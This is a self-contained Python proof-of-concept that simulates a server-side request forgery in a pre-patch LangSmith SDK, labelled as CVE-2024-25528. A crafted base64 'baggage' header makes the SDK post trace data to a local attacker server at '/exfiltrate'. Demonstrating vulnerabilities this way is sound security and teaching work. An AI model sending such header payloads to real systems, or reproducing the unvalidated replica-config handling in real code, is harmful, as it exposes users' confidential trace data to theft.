Vulnerable code sample

# This code is a conceptual representation of the vulnerability described in CVE-2024-25528.
# It simulates a vulnerable server environment using a simplified, pre-patch version
# of the LangSmith SDK's logic.
# DO NOT USE THIS CODE IN PRODUCTION. It is for educational purposes only.

import http.server
import socketserver
import threading
import time
import requests
import json
import base64
import urllib.parse
from http import HTTPStatus

# --- Configuration ---
VICTIM_SERVER_PORT = 8000
ATTACKER_SERVER_PORT = 9999
LEGITIMATE_API_URL = "https://api.smith.langchain.com" # A legitimate, but simulated, endpoint

# --- 1. Attacker's Malicious Server ---
# This server is controlled by the attacker to receive exfiltrated data.

class AttackerHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("\n" + "="*50)
        print(f"[+] ATTACKER SERVER: Received exfiltrated data on {self.path}")
        print(f"[+] DATA: {post_data.decode('utf-8')}")
        print("="*50 + "\n")
        self.send_response(HTTPStatus.OK)
        self.end_headers()

def run_attacker_server():
    """Runs the attacker's server in a separate thread."""
    with socketserver.TCPServer(("", ATTACKER_SERVER_PORT), AttackerHttpRequestHandler) as httpd:
        print(f"[!] Attacker's server running at http://localhost:{ATTACKER_SERVER_PORT}")
        httpd.serve_forever()


# --- 2. Simplified Vulnerable LangSmith SDK (pre-patch logic) ---
# This section mimics the vulnerable components of the SDK before the fix.

class _VulnerableLangSmithConfig:
    """A simplified config object."""
    def __init__(self, api_url, api_key):
        self.api_url = api_url
        self.api_key = api_key

class _VulnerableRunTree:
    """
    A simplified representation of the RunTree object that is central to the vulnerability.
    """
    def __init__(self, name, **kwargs):
        self.name = name
        self.extra = kwargs
        # The RunTree holds a list of replica configurations.
        # It starts with the legitimate one.
        self.replicas = [
            _VulnerableLangSmithConfig(api_url=LEGITIMATE_API_URL, api_key="legit_api_key_123")
        ]

    @classmethod
    def from_headers(cls, headers: dict):
        """
        VULNERABLE CLASS METHOD: This is the entry point for the SSRF.
        It parses the 'baggage' header and unsafely adds replica configurations.
        """
        print("[i] SDK: Calling RunTree.from_headers() to parse incoming headers.")
        run_tree = cls(name="request_trace")

        baggage = headers.get("baggage")
        if baggage:
            print(f"[!] SDK: Found 'baggage' header: {baggage}")
            try:
                parsed = dict(item.split("=") for item in baggage.split(","))
                replica_config_str = parsed.get("langsmith_replica_config")

                if replica_config_str:
                    print("[!] SDK: Found 'langsmith_replica_config' in baggage.")
                    # VULNERABILITY: The value is decoded and used without validation.
                    decoded_config = base64.urlsafe_b64decode(replica_config_str).decode('utf-8')
                    config_json = json.loads(decoded_config)
                    
                    attacker_api_url = config_json.get("api_url")
                    attacker_api_key = config_json.get("api_key")

                    if attacker_api_url:
                        print(f"[!!!] SDK (VULNERABLE): Attacker-controlled api_url '{attacker_api_url}' found!")
                        print("[!!!] SDK (VULNERABLE): Adding attacker's config to replicas WITHOUT VALIDATION.")
                        # The core of the vulnerability: an attacker-controlled config is added.
                        attacker_config = _VulnerableLangSmithConfig(api_url=attacker_api_url, api_key=attacker_api_key)
                        run_tree.replicas.append(attacker_config)

            except Exception as e:
                print(f"[-] SDK: Error parsing baggage header: {e}")
        
        return run_tree

class _VulnerableClient:
    """
    A simplified client that sends trace data.
    """
    def _post(self, run_tree: _VulnerableRunTree, data: dict):
        """
        Simulates posting data at the end of a trace.
        It will send data to ALL configured replicas in the run_tree.
        """
        print("\n[i] SDK: Trace finished. Calling internal _post() method.")
        for config in run_tree.replicas:
            print(f"[->] SDK: Preparing to send data to replica URL: {config.api_url}")
            
            # This is where the SSRF happens. The request is made to the attacker's URL.
            try:
                # We won't actually hit the legitimate LangSmith API to avoid real network calls.
                if "smith.langchain.com" in config.api_url:
                    print("[OK] SDK: (Simulated) Sent data to legitimate LangSmith API.")
                    continue

                # The exfiltration request to the attacker's server.
                response = requests.post(config.api_url, json=data, timeout=2)
                print(f"[->] SDK: Sent data to {config.api_url}, got status {response.status_code}")
            except requests.exceptions.RequestException as e:
                print(f"[ERROR] SDK: Failed to send data to {config.api_url}: {e}")

# --- 3. Victim Application ---
# This is the server application using the vulnerable SDK.

class VictimHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print("\n" + "-"*50)
        print(f"[+] VICTIM SERVER: Received request for {self.path}")
        print(f"[+] VICTIM SERVER: Headers: {self.headers}")
        
        # 1. The application uses the SDK to parse headers for distributed tracing.
        # This is where the attacker's payload is processed.
        run_tree = _VulnerableRunTree.from_headers(self.headers)

        # 2. The application performs its business logic.
        print("[i] VICTIM SERVER: Performing some business logic...")
        sensitive_data = {
            "trace_id": "trace-xyz-123",
            "user_id": "user-42",
            "prompt": "What is the secret formula?",
            "internal_notes": "This data is confidential and should not leave our infrastructure."
        }
        print("[i] VICTIM SERVER: Generated sensitive trace data.")
        time.sleep(0.5)

        # 3. At the end of the operation, the SDK sends the trace data.
        # This triggers the request to the attacker's server.
        sdk_client = _VulnerableClient()
        sdk_client._post(run_tree, data=sensitive_data)
        
        print("[+] VICTIM SERVER: Request processing complete.")
        print("-"*50)

        self.send_response(HTTPStatus.OK)
        self.end_headers()
        self.wfile.write(b"Request processed successfully.")

def run_victim_server():
    """Runs the victim server in a separate thread."""
    with socketserver.TCPServer(("", VICTIM_SERVER_PORT), VictimHttpRequestHandler) as httpd:
        print(f"[!] Victim server (using vulnerable SDK logic) running at http://localhost:{VICTIM_SERVER_PORT}")
        httpd.serve_forever()

# --- 4. Main execution: Attacker's exploit script ---

if __name__ == "__main__":
    # Start servers in background threads
    attacker_thread = threading.Thread(target=run_attacker_server, daemon=True)
    victim_thread = threading.Thread(target=run_victim_server, daemon=True)
    attacker_thread.start()
    victim_thread.start()
    time.sleep(1) # Wait for servers to start

    print("\n" + "#"*60)
    print("### DEMONSTRATING CVE-2024-25528 (Conceptual) ###")
    print("#"*60 + "\n")

    # 1. Attacker defines the malicious endpoint.
    malicious_api_url = f"http://localhost:{ATTACKER_SERVER_PORT}/exfiltrate"
    
    # 2. Attacker crafts the payload for the 'baggage' header.
    # The payload is a JSON object containing the malicious 'api_url'.
    malicious_config = {
        "api_url": malicious_api_url,
        "api_key": "fake_attacker_key"
    }
    
    # The payload must be formatted as described: JSON -> Base64 -> URL-encoded string
    config_json_str = json.dumps(malicious_config)
    config_b64_bytes = base64.urlsafe_b64encode(config_json_str.encode('utf-8'))
    
    # The final payload for the header
    baggage_payload = f"langsmith_replica_config={config_b64_bytes.decode('utf-8')}"
    
    malicious_headers = {
        "Baggage": baggage_payload
    }

    print(f"[ATTACKER] Crafted malicious 'Baggage' header: {baggage_payload}")
    print("[ATTACKER] Sending request to the victim server...")

    # 3. Attacker sends the request to the victim server.
    try:
        response = requests.get(
            f"http://localhost:{VICTIM_SERVER_PORT}/some/api/endpoint",
            headers=malicious_headers,
            timeout=5
        )
        print(f"\n[ATTACKER] Victim server responded with status: {response.status_code}")
        print(f"[ATTACKER] Victim server response body: {response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[ATTACKER] Failed to contact victim server: {e}")
    
    # Wait to ensure the attacker's server has time to print the output
    time.sleep(2)
    print("\n[INFO] Demonstration finished. The attacker's server should have printed the exfiltrated data.")
    print("[INFO] Terminating script.")